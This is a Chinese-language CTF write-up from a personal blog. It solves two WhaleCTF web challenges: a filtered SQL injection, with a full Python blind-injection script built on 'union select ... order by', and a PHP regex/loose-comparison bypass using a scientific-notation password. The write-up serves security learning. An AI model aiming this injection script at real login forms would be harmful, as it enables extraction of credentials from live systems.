Hpdoger's Blog.

WhaleCTF的Web题目

Word count: 719 / Reading time: 3 min
2018/06/06 Share

写在前面

最近要做的事太多了,实验班考核、末考、再加上来成都的同学多的一批。。没时间好好学点东西,前两天装Docker,基础太差了,现在Ubuntu上docker都没搭好环境。应对最近的考核,还是刷点题吧

瞎子摸鱼

是个Sql注入,一开始有回显我以为是基本的回显注入,后来fuzz发现过滤了函数、Infor、小括号,那基本上与回显注入无缘。我们构造admin是万能函数的时候,发现回显:
whaleadmin
我猜测这个是用户名,当不构造正确的用户名时,回显:
flag in the password content
所以后台的语句应该是这样的思路,如果查到用户名存在,则输出用户名的第一个值。若不存在,则返回flag那一堆。。

一开始我和LinE师傅都没想到用order by来爆破password字段,后来看到一篇类似原题的帖子。。
Inject again 注入 过滤左右括号 order by
思路挺简单的,就是通过order by的升序排序法进行盲注
后来就是写exp了,被LinE师傅嘲讽了一波。。确实py能力太差了= =
这里偷偷贴一下LinE师傅的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding:utf-8
import requests

def send(flag,charset):
url = "http://ctf.whaledu.com:10801/47g256f48gff/index.php"
h = {"Content-Type": "application/x-www-form-urlencoded"}
for i in range(len(charset)):
c = flag + charset[i]
payload = "whaleadmin' union select 1,0,'{}' order by 3#".format(c)
d = "username={}&password=admin".format(payload)
r = requests.post(url,data=d,headers=h)
if "whaleadmin" in r.text:
return i

def main():
flag = ""
num = "0123456789"
a_z = "abcdefghijklmnopqrstuvwxyz"
charset = list(num + a_z)
for i in range(0,80):
ret = send(flag, charset)
flag += charset[ret-1]
print flag

if __name__ == '__main__':
main()

正则进入

源码泄露扫描得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
echo "waht the hell?";
$flag = "*******";
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>

结整段代码来看,我们需要post一个字符串,该字符串的值为42,并且要包含标点、数字、大写字母、小写字母中三个及以上类型,同时匹配次数要不小于6次

构造的payload:
password=420.00000e-1或者password=42.000000e-0

利用科学计数法,xe(+-)x代表的意思是,x乘以10的x次方,之所以用.我一开始不明白,但是看一下句子猜测的话,这个点的作用应该还是“乘以”,即420乘以10^(-1),就是42。而且.也把标点位占了,所以构造很巧妙。

相关链接:
正则表达式语法

CATALOG
  1. 1. 写在前面
    1. 1.1. 瞎子摸鱼
    2. 1.2. 正则进入